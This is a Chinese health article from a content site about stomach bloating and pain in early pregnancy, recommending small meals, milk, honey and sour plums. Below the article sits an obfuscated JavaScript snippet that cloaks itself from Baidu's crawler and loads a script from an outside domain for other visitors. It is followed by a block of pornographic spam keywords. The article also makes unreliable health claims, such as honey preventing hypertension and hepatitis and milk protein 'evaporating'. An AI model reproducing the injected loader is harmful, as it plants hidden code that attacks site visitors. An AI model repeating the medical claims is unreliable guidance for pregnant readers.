當前位置:首頁 > 母嬰 > 懷孕知識 > 正文

懷孕初期胃脹胃疼怎么辦

2017-05-05 08:26:35  來源:360常識網   熱度:
導語:懷孕期間的女性,在初期會出現早孕的反應,而這些早孕反應是媽媽們的心痛。如果媽媽們不注意保健,很容易會導致身體各種疼痛,而且也可能會

懷孕期間的女性,在初期會出現早孕的反應,而這些早孕反應是媽媽們的心痛。如果媽媽們不注意保健,很容易會導致身體各種疼痛,而且也可能會影響胎兒的正常發育。像胃痛胃脹也是比較常見的早孕反應,面對懷孕初期胃脹胃疼怎么辦呢?掌握以下的小技巧,可以幫助你輕松止痛。

最常見的早孕反應是胃痛胃脹,在懷孕4周內有的孕媽媽就有早孕反應。孕媽媽懷孕3個月到懷孕6個月會因早孕反應而有胃痛胃脹等疼痛,常能感受到胃部有灼燒感,這是一種正常的生理現象,胃痛癥狀在懷孕期間因內分泌變化而加劇。如果未引起孕媽媽的關注,則可能在懷孕的中期影響胎兒的健康。

另外,食道下段的括約肌在孕媽媽懷孕期間的緊張度會降低,因胃內壓力高于食道內壓力,會讓食道下部積累很多的返流酸性分泌物,致使胃痛在懷孕期間變得更加嚴重。尤其是有慢性病和曾患有慢性胃炎的患者則癥狀更是如此,特別是在體位發生改變時更易出現懷孕胃痛這種情況。孕媽媽的進食方式最好選擇少吃多餐,但是如果在自己不感覺餓的情況下,就不必順其自然的吃每頓飯,不用強求。

孕媽媽在孕期還要多注意營養(孕期飲食原則),可以多喝點湯類的,不過不要進補過度,這樣會讓胃部負擔加重,定期做好孕期檢查。而有很少的孕媽媽的胃痛會一直持續到臨產,這也屬于正常的現象,也千萬不能亂用藥。為了緩解孕媽媽們的胃部疼痛感,也可以多喝木瓜牛奶、蜂蜜、酸梅汁等。

四種有效化解孕婦胃部不適的食物,懷孕期間準媽媽每天喝牛奶要維持定時定量,不僅可以幫助孕媽美白,還可以補鈣。由于現在的超盒裝奶粉的保質期很長,這種超市賣的奶粉一定在里面添加了防腐劑,所以建議準媽媽購買孕婦專用的奶粉或直接定新鮮牛奶。值得注意的是,早晨孕婦不可以空腹喝牛奶,大量蛋白質會蒸發掉。也可與蜂蜜混在一起喝(孕期喝蜂蜜好嗎),腸胃虛弱的話可以加一點水稀釋一下。蜂蜜享有長壽食品的美稱,孕婦每天喝水時可在上、下午的飲水中各放蜂蜜數滴,可以有效地預防妊娠高血壓、貧血、肝炎等疾病。

同時,蜂蜜通便,能有效地預防痔瘡出血,便秘。大腦天然的滋補劑是蜂蜜,孕婦睡前飲一杯蜂蜜水,可起到補腦安神、養血滋陰之功效。蜂蜜雖有通便的作用但若過多飲用,則易出現腹瀉,甚至嚴重的可使流產,而且孕婦所需的營養成份不同,所以孕婦喝蜂蜜要適當,來增加體內所需的營養。

有人可能誤以為吃多了酸梅,會產生過多的胃酸而導致胃痛;但酸梅是屬于堿性食物,它不僅僅是零食,而且可以促進體內血液值酸堿平衡,尤其是肝火有毛病的人應該多吃酸梅,有助于滋養肝臟;酸梅可以促進唾液腺與胃液腺的分泌,所以能生津止渴;孕婦在脾氣暴躁的時候可以嚼兩顆酸梅,心情自然會好起來。但是孕婦無論吃什么都要講究適量,而且要買新鮮的酸梅,果脯類的食品是萬萬不能吃的。

孕婦在懷孕期間要少吃大豆一類容易引起胃脹氣的食物,還有像紅薯、土豆一類大塊、不易消化的食物也要少吃(孕期哪些食物不能吃)。另外,孕婦每餐不能吃太飽,可以在正餐之間吃點零食或輔食。孕婦要講究食物的搭配和平衡,尤其是要多吃水果并注意休息,飯后多散步也可以緩解胃部不適。

以上內容就是關于懷孕初期胃脹胃疼怎么辦的介紹了,孕婦在懷孕期間出現胃痛胃脹的現象是比較正常的,如果疼的比較嚴重的,最好是到醫院進行檢查,不要在家中胡亂服用藥物。多吃一喝一些牛奶、蜂蜜、酸梅,對這種癥狀喲很好的緩解作用。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲av午夜国产精品无码中文字 | 孩交精品xxxx视频视频| 中国精品一级毛片免费播放| 国内精品久久久久影院亚洲 | 国产偷国产偷精品高清尤物| 尤物精品视频一区二区三区| 亚洲国产成人久久精品动漫| 亚洲国产精品一区二区第一页免| 精品亚洲456在线播放 | 国产精品亚洲а∨天堂2021| 久久国语露脸国产精品电影| 久久精品成人免费看| vvvv99日韩精品亚洲| 精品麻豆国产色欲色欲色欲www| 久久亚洲精品国产精品黑人| 91国在线啪精品一区| 国产精品怡红院在线观看| 国产精品亚洲精品| 四虎国产精品永久在线观看| 国产亚洲精品福利在线无卡一| 精品小视频在线观看| 亚洲精品国产综合久久久久紧| 竹菊影视国产精品| 国产精品成人A区在线观看| 久久精品国产一区二区电影| 国产成人精品美女在线| 国产成人午夜精品免费视频| 91亚洲精品视频| 无码精品A∨在线观看中文| 韩日美无码精品无码| 国产成人精品久久一区二区三区av| 在线精品免费视频无码的| 无码人妻精品中文字幕免费东京热| 久久发布国产伦子伦精品| 久久99久久99精品免观看| 亚洲av午夜福利精品一区人妖| 91精品国产91久久综合| 国自产精品手机在线观看视频| 久久久久无码国产精品不卡| 国产成人精品久久亚洲高清不卡 | 色婷婷精品免费视频|